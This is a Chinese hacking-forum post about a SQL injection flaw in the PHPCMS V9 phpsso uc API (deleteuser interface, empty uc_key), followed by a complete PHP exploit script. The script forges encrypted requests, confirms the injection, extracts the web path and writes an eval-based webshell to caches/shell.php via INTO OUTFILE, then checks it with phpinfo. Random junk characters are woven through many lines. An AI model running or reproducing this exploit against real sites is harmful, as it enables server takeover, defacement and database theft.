找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1991|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。- e( j# I2 l* F. @/ ~3 q3 N; u
; F( w) g5 I$ @( a9 w
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
5 ^3 T; \3 K& V+ j& j; x
0 w( _$ n9 c% {4 K+ C9 Y3 s漏洞分析:$ P# n/ V: W$ v/ I8 Q
1.未启用ucenter服务的情况下uc_key为空) @2 Y$ Z4 L9 P1 {& I2 ]: Z
define('UC_KEY', pc_base::load_config('system', 'uc_key'));- j4 J( d- r1 ]+ g: A0 E" e: w8 D
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。( ~8 i2 p5 M1 T
    public function deleteuser($get,$post) {' I2 L( }* U1 J/ |/ g0 B
        pc_base::load_app_func('global', 'admin');
3 Z4 v$ D) V8 t* W7 N        pc_base::load_app_class('messagequeue', 'admin' , 0);( _+ J9 h( ?- [* s
        $ids = new_stripslashes($get['ids']);
" z9 o/ V) d, o& [! C# u$ b        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
( r6 P# l! d" A4 eSQL语句为
5 ]2 J/ U7 N4 o8 @/ i; _  }8 iSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)3 |4 z* `; [6 Y, e9 a# E0 b+ V

; F( h, P4 V$ d- Y" Y9 c7 h2 f利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
: j3 C' c( a0 z5 j8 Q% h3 J<?php
# N7 w6 e- y/ i) m+ ]/ ~print_r('- z. Y8 ?2 N  ^: x: Q
---------------------------------------------------------------------------- x# M6 z0 w" P) g& b
PHPcms (v9 or Old Version) uc api sql injection 0day
% ]# }2 H0 D$ I3 D8 Eby rayh4c#80sec.com
9 _# [+ C2 ]( n, G---------------------------------------------------------------------------* Z+ W: g( Q, d  M4 ]! P* Q9 F$ `
');* m1 _* E3 h- Q% u/ _) N

+ a/ {/ J  C2 m: Hif ($argc<3) {7 R6 \! j) M" v9 @5 E
    print_r('
/ _0 ]# @2 t; w- D  Q- {) g---------------------------------------------------------------------------
/ X0 K: P6 `8 E9 ^! {Usage: php '.$argv[0].' host path OPTIONS
+ Y, c# f% W' O6 W3 chost:      target server (ip/hostname)( u8 A4 W  i* _: u1 _+ c3 M- ~% @
path:      path to phpcms
( L5 }) l9 W3 `* Y& `' c, O/ O' AOptions:5 Z, ?9 X; @8 [5 }' W7 i+ C
-p[port]:    specify a port other than 80* u" D5 F6 V- y" m; ^3 o% |
-P[ip:port]: specify a proxy
5 l3 t( B( u" S5 y, S7 H7 _. F8 ~Example:
  \8 m' O8 }- o1 ]: s7 I' K. ]php '.$argv[0].' localhost /
0 ?/ Z: G# o5 m- c9 _php '.$argv[0].' localhost /phpcms/ -p81
7 y2 H3 G! Y; Sphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
/ g( B! [, ^5 `- J' [---------------------------------------------------------------------------
6 E1 L$ |. d7 o# U7 ]8 e+ K');: q. Z1 Y& D: b# z
    die;: g4 [4 ]: }5 g. g* B5 U
}
- W  H+ O/ C+ W2 ]: m" D3 f4 ^' T. L* \2 g! Y
error_reporting(7);
! g$ e% U* @% I! eini_set("max_execution_time",0);( ?1 {. z5 R: l
ini_set("default_socket_timeout",5);7 ^( z+ \* _+ r3 |/ u" I
1 |; ]1 J7 i. P
function quick_dump($string)$ _7 B( d# t1 C1 L
{
( N# X# l8 [; N, s  $result='';$exa='';$cont=0;) r# i+ }8 r/ {: C+ x
  for ($i=0; $i<=strlen($string)-1; $i++)
4 N/ n5 H$ F, a4 A0 t: i8 c  {: n4 A& G5 L7 z4 y5 d. T
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))) W* z. F# c! U6 d) u* F
   {$result.="  .";}' ^) W3 h# i- l& J$ Y
   else" U  ^0 M) |6 e8 r5 |9 x! `, w6 j
   {$result.="  ".$string[$i];}+ q- k% F4 c* k) q* |4 g4 M
   if (strlen(dechex(ord($string[$i])))==2); Q) x+ |- |8 X9 v+ J% F& s
   {$exa.=" ".dechex(ord($string[$i]));}8 D+ h  c  p* m! \+ ?4 H, {
   else4 K6 b) y/ @$ e" h+ V
   {$exa.=" 0".dechex(ord($string[$i]));}
* @! [: P: k' x! j   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}3 `; ^+ w. B7 W9 L0 G
  }
2 ^; j$ X/ q3 ~$ T, |9 b& V return $exa."\r\n".$result;% X  _! i' A7 [5 W- L  t! r5 @
}: n. g4 \- o, o& h7 L: ]/ `2 s7 A
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';1 J" v' d- I; r# s0 n

) q& T! [; i! u' Wfunction send($packet)
: v; q9 d4 z5 ^; g{8 j6 T) W$ V2 `0 O( _
  global $proxy, $host, $port, $html, $proxy_regex;" D. Y4 C& ?1 Z* V. B! _
  if ($proxy=='') {7 A+ X) ?* u1 s- c* }, B
    $ock=fsockopen(gethostbyname($host),$port);
& p7 ~5 `6 I; m/ A% {5 z8 {    if (!$ock) {" @' U/ Z$ {& j- Q
      echo 'No response from '.$host.':'.$port; die;+ H2 q+ o. @" \# F
    }
4 B' }$ m! Y1 q; t2 X' j8 P2 U9 U  }
# r1 J0 ]) D1 A  C3 c' c" _  else {
; D6 D0 C* v0 B3 N0 J! p. [        $c = preg_match($proxy_regex,$proxy);
$ t! Y4 j1 ~' U, ?0 S# T    if (!$c) {: F1 K' x6 ?3 T+ g1 C
      echo 'Not a valid proxy...';die;% w$ V7 Z0 h6 \. t) {
    }* \: S( F/ ?6 s7 u8 \
    $parts=explode(':',$proxy);
) U) E8 X9 D! L$ I# j    $parts[1]=(int)$parts[1];# Q- X4 G, [* K) u. D2 c
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";, K1 Q6 S8 U$ l/ l: L
    $ock=fsockopen($parts[0],$parts[1]);6 Z' H3 O- h+ p6 B# }
    if (!$ock) {" b  W) i' p; h" P& V# t3 z; `3 `9 v. w- O+ }
      echo 'No response from proxy...';die;1 ]* i- B0 P" n0 r/ G% c
        }( b9 b. N. V2 L( G# V7 Y
  }) Y9 v: s; A( J4 Z0 [
  fputs($ock,$packet);
) s" a4 a- E1 t4 X5 l  if ($proxy=='') {
% U% u' E9 G7 |# \" e    $html='';
0 G; W* g& @, G. d# f0 Y6 E6 K    while (!feof($ock)) {' m0 L% L+ N( n& h# u5 ^* z# ~3 H
      $html.=fgets($ock);
' B/ c1 R  x5 c0 S# R2 Z/ O0 O, J  m    }* e" A8 N- ?/ f1 }& n
  }
  {" T9 K7 w; D' R, q9 _( ?. I# H  else {% D* B; J, g8 Y8 x) I
    $html='';
* S) `% |! E# L' @    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
0 D1 D$ l6 I7 |  y  _5 X      $html.=fread($ock,1);
8 l+ ]; D3 d8 Y$ \4 w5 n3 I    }) ?* d$ l' |  a/ A) D3 G( m1 N
  }
# X" J( d# t/ E' c  o- u  fclose($ock);# j- _7 d3 d  R
}3 Y7 ?4 J0 K- e* @, Y& a8 c

3 q& i9 D8 n* p5 o$host=$argv[1];
. e( j/ F" F* D! Y$path=$argv[2];0 A/ ?7 e3 N+ j& n
$port=80;
  l& a8 \4 S" h$proxy="";# k- l% u  M; x/ T; O) u, E
for ($i=3; $i<$argc; $i++){  Z+ e4 X& S& @, G- p" Y
$temp=$argv[$i][0].$argv[$i][1];
  |- k. j& ^; q; X4 j* sif ($temp=="-p")0 |- g, E6 P" ?0 `7 f( }9 m0 q, |
{
$ ^: Z3 |# b$ K, O8 v2 k. t  $port=(int)str_replace("-p","",$argv[$i]);
; N; v9 z3 z' ?( s& J! Q% H# g}* U! S( `& [+ H5 v1 O" _' o
if ($temp=="-P")! P5 ~" v! m' F3 p9 ~
{
- H) P5 ?0 q, m/ A  $proxy=str_replace("-P","",$argv[$i]);- D* b3 N0 \0 w1 q
}
8 r- D% x. p# t( n7 x7 r}
& L( @" N6 r* e1 H4 E1 v- ?, [$ [. t! c4 N! U
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
+ B7 R5 x- [/ ~( P* e* Bif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
/ {9 ~3 H+ q/ K. M; i6 a8 M( k& |3 i- p/ v8 o2 J
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
& z) F- d; a. C
  o) A5 w( [. b8 M0 ]    $ckey_length = 4;! e4 i4 @- p9 `3 Q

% I( V8 c. f. N- s1 m3 Z' g    $key = md5($key ? $key : '');( e0 x9 n/ _8 j, R3 X
    $keya = md5(substr($key, 0, 16));) n7 Y% I3 A% [7 w& M7 z
    $keyb = md5(substr($key, 16, 16));
2 m% h5 Z1 Y' a2 G0 I    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
! B$ K% e7 z' D& Q
7 |# x; S6 X5 n& X1 X    $cryptkey = $keya.md5($keya.$keyc);  x. W% |$ F  a( a* _# ?
    $key_length = strlen($cryptkey);8 M5 p3 L) V2 I  v+ H
0 {( I$ a* F" r# |% e: p& j% F( m& c
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
+ w! z# U; e/ j! i) R2 t+ c    $string_length = strlen($string);
: ]$ Q% D+ d, L" r; I. k, {, f  R: q  f
    $result = '';
$ k  g+ p1 u1 r: a    $box = range(0, 255);; R* j. _& X) o: \9 {
3 O& @/ m1 M3 S& \* V
    $rndkey = array();
! h4 K( H4 _) S3 D  T+ ]- `    for($i = 0; $i <= 255; $i++) {
. t1 Z) `& C4 d8 d, d- I1 @$ N! h        $rndkey[$i] = ord($cryptkey[$i % $key_length]);. Q9 F9 I* y; R  A! i( r6 u
    }
2 L; a% ~: o  y' E: {( x: Q/ C* I# j5 p% w; D
    for($j = $i = 0; $i < 256; $i++) {
) |! y2 _9 J* b$ Z- _$ R        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
4 @9 o  j' t5 t9 P7 g        $tmp = $box[$i];4 n1 J3 b2 I5 b  U: g% U$ F
        $box[$i] = $box[$j];3 k  D' `# c, h4 Q- e1 E$ p' Z
        $box[$j] = $tmp;
/ P: f$ Z$ }! W  w& F3 P5 |    }$ u  e5 O' d) E6 d8 Q8 n# ^

* v4 z7 W9 M" W( x4 D7 x- B    for($a = $j = $i = 0; $i < $string_length; $i++) {
6 m; \- V# r6 i; b2 |        $a = ($a + 1) % 256;
2 P3 w, V# S! n1 W( A$ k$ h        $j = ($j + $box[$a]) % 256;
7 c6 k" T3 @1 R- R        $tmp = $box[$a];1 }; O! p( Q9 @/ v8 k" k
        $box[$a] = $box[$j];
5 ~8 W9 X! f+ [7 j5 b        $box[$j] = $tmp;
9 c4 @$ @8 v8 ~3 E9 \- G8 J        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));: B' P. x) I7 R7 }$ I9 ~1 W
    }
  }7 W. p+ a, M
: X) ~; t+ ]: P4 V    if($operation == 'DECODE') {
* K+ U( y- Y4 v! O# {        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {3 W" f8 B& k! n6 u5 G- i
            return substr($result, 26);, a+ |; m" n7 l% e6 V! O2 ?: D2 ?0 M
        } else {
0 N/ K7 j3 r% p3 B6 F  J            return '';" s6 i8 l  @  f
        }* c* C1 Z1 D0 o7 H6 V0 q* b
    } else {
& a5 ?/ J0 ?9 U8 v( a        return $keyc.str_replace('=', '', base64_encode($result));
2 {3 ]% x) E0 f9 _    }
$ v! b$ [: q; J5 ~( t1 O* h( R/ D- H, }; @5 H0 M2 D
}% L6 b/ q& j; c% k

3 t4 U  }) ^: @& g$ ~" H" w1 ^$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
6 n# ~$ d4 k+ c9 Y+ x" e8 E6 {$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 g3 R( F, T9 j0 G' B8 [% W$ O
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
- D/ Y: w' n+ c% W$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
4 n) c) H9 z! h* V; x6 K+ y2 V9 K9 T$packet.="User-Agent: Mozilla/5.0\r\n";
3 k: {; p9 D2 [6 p! z$packet.="Host: ".$host."\r\n";1 s2 m2 f. m3 d8 Y' T  e
$packet.="Connection: Close\r\n\r\n";
; C; k. s6 F. ?+ b* Hsend($packet);' r! Q$ d. X; A' J+ J! [
if(strpos($html,"MySQL Errno") > 0){
/ ?6 N* \% A9 Q7 X+ ?/ d4 jecho "[2] 发现存在SQL注入漏洞"."\n";7 ?7 ?( f' \2 k. t
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
, d& \1 y* ~' H& E& Y$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
( p8 i, f" K" G% x$packet.="User-Agent: Mozilla/5.0\r\n";( j: e2 F/ C) o  a$ r
$packet.="Host: ".$host."\r\n";
( J/ \5 Q* Z! `8 C: U6 p! b$packet.="Connection: Close\r\n\r\n";6 r+ A) ]* A( x9 i4 J
send($packet);5 k5 _! C. \. m$ q% b, b+ ^
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
( ~2 L# C9 R9 M0 t7 n# O- a//print_r($matches);
5 ~& E* T5 @+ eif(!empty($matches)){
% Z* }4 |1 V4 }8 G- g# A" B" X! Mecho "[4] 得到web路径 " . $matches[0]."\n";& f% |% T9 }3 v$ @
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";- g. m0 W: ]  Y# _
$SQL = "time=999999999999999999999999&ids=1)";; }6 A( G# O' [* p
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";, m+ Y, y; T6 y0 o
$SQL.="&action=deleteuser";* z0 ]( s8 O0 e- u5 S
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
% s( Z& a9 a  r6 v' u6 Vecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
- D/ C; ]$ X1 f# ^$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";( u& y  A" V  D$ {
$packet.="User-Agent: Mozilla/5.0\r\n";3 b8 w  W4 O# N
$packet.="Host: ".$host."\r\n";
" S2 t: g8 i! X, W: a5 [0 p$packet.="Connection: Close\r\n\r\n";9 ]( _* I- |. y/ e
send($packet);
2 M$ z! w' y8 ^6 E# Z" h) i" wif(strpos($html,"Access denied") > 0){- i" O7 I6 J; Q: }
echo "[-] MYSQL权限过低 禁止写入文件 ";
8 ~* k) F: `' J$ }die;' B7 {+ S& K" Q3 `! s$ _
}
! k% P1 |) R8 xecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";- _& [( S1 A3 t. l( [) U5 |8 ?$ O
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";7 G/ o2 u( [# X$ V& Y: a
$packet.="User-Agent: Mozilla/5.0\r\n";
, K2 R6 b2 |3 {7 o, z$packet.="Host: ".$host."\r\n";  \9 g$ ?' R$ s9 F: y9 k
$packet.="Connection: Close\r\n\r\n";+ K" ^( S) Z! e, _$ o
send($packet);  R/ o2 B/ H! ^/ o
if(strpos($html,"<title>phpinfo()</title>") > 0){' G4 J' ~# [5 G5 U3 @+ D& y
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
( [' q# t4 I5 a; _, w2 u}
: o2 ~- t2 t- Q( O}else{
! {0 O7 l! `% mecho "[-]未取到web路径 ";# s9 P9 b% q  W2 P
}
2 u8 C0 ?* _$ }}else{5 X" [5 a5 F# d) r4 p' h& K7 j1 E. u
echo "[*]不存在SQL注入漏洞"."\n";# k+ d$ }  x9 K5 h& j
}7 h7 Y# ]+ Y- l+ \6 W3 M5 f; d

6 l8 J* v/ i2 `: n. D* F* c$ g/ E?>
- J# A+ K( E! L! B! Q8 o& l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表